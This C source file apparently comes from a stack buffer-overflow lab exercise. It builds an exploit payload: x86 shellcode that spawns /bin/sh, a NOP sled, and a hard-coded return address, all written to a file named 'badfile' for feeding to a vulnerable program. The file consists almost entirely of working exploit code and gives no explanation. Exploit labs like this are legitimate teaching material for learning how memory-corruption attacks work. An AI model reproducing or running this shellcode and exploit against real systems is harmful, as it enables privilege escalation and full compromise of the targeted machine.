Untitled

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"
  "\x50"
  "\x68""//sh"
  "\x68""/bin"
  "\x89\xe3"
  "\x50"
  "\x53"
  "\x89\xe1"
  "\x99"
  "\xb0\x0b"
  "\xcd\x80"
;

int main (int argc, char *argv)
{
   char buffer[517];
   FILE *badfile;

   memset(&buffer,0x90,517);

   *((long*)(buffer + 0x24)) = 0xbfff02;

   memcpy(buffer + sizeof(buffer)- sizeof(code),code,sizeof(code));

   badfile = fopen("./badfile","w");
   fwrite(buffer,517,1,badfile);
   fclose(badfile);
}